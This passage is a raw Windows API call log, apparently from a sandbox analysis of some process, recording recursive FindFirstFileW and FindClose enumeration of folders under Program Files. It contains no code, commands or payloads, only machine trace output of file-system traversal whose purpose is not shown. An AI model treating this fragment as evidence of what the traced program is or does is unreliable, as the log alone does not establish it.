hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0055.135] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\*"), lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54bce1f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x6c4962d0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x6c4962d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0055.136] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0055.136] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0055.136] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\*"), lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0055.136] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0055.136] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0055.136] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\*"), lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8b00760, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd9296d80, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd9296d80, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0055.136] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8b00760, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd9296d80, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd9296d80, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0055.137] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\*"), lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8b00760, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd8b00760, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd8b00760, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.137] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.137] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37e0060 | out: hHeap=0xab0000) returned 1 [0055.137] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0055.137] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0055.138] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0055.138] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0055.138] FindClose (in: hFindFile=0x4d87a0 | out: hFindFile=0x4d87a0) returned 1 [0055.138] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a773a0 | out: hHeap=0xab0000) returned 1 [0055.139] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*" (normalized: "c:\\program files\\common files\\services\\*"), lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87a0 [0055.139] FindClose (in: hFindFile=0x4d87a0 | out: hFindFile=0x4d87a0) returned 1 [0055.139] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0055.139] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\*" (normalized: "c:\\program files\\common files\\speechengines\\*"), lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87a0 [0055.139] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\*"), lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0055.139] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0055.140] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\*"), lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.140] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\*"), lpFindFileData=0x2cae4d8 | out: lpFindFileData=0x2cae4d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0055.140] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0055.140] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.140] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.140] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37e0060 | out: hHeap=0xab0000) returned 1 [0055.140] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0055.140] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0055.141] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0055.141] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a773a0 | out: hHeap=0xab0000) returned 1 [0055.142] FindClose (in: hFindFile=0x4d87a0 | out: hFindFile=0x4d87a0) returned 1 [0055.142] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0055.143] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*" (normalized: "c:\\program files\\common files\\system\\*"), lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87a0 [0055.143] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*" (normalized: "c:\\program files\\common files\\system\\ado\\*"), lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0055.251] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0055.251] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0055.251] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0055.251] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0055.252] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a773a0 | out: hHeap=0xab0000) returned 1 [0055.252] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*" (normalized: "c:\\program files\\common files\\system\\en-us\\*"), lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0055.252] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0055.252] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a773a0 | out: hHeap=0xab0000) returned 1 [0055.252] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*" (normalized: "c:\\program files\\common files\\system\\msadc\\*"), lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0055.262] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.264] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.265] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0055.265] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0055.265] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a773a0 | out: hHeap=0xab0000) returned 1 [0055.265] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*" (normalized: "c:\\program files\\common files\\system\\ole db\\*"), lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0055.266] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.267] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.267] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0055.267] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0055.268] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a773a0 | out: hHeap=0xab0000) returned 1 [0055.268] FindClose (in: hFindFile=0x4d87a0 | out: hFindFile=0x4d87a0) returned 1 [0055.268] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0055.269] FindClose (in: hFindFile=0x4d8760 | out: hFindFile=0x4d8760) returned 1 [0055.269] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3810078 | out: hHeap=0xab0000) returned 1 [0055.271] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*" (normalized: "c:\\program files\\dvd maker\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc6b7c690, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6b7c690, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8760 [0055.271] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\*" (normalized: "c:\\program files\\dvd maker\\en-us\\*"), lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87a0 [0055.271] FindClose (in: hFindFile=0x4d87a0 | out: hFindFile=0x4d87a0) returned 1 [0055.272] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0055.273] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*" (normalized: "c:\\program files\\dvd maker\\shared\\*"), lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87a0 [0055.276] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\*"), lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0055.280] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.282] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.283] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.283] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.492] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.493] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.494] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.495] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.496] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.496] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.496] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.497] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.497] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.498] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.499] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.499] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.500] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.501] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.501] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.502] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) 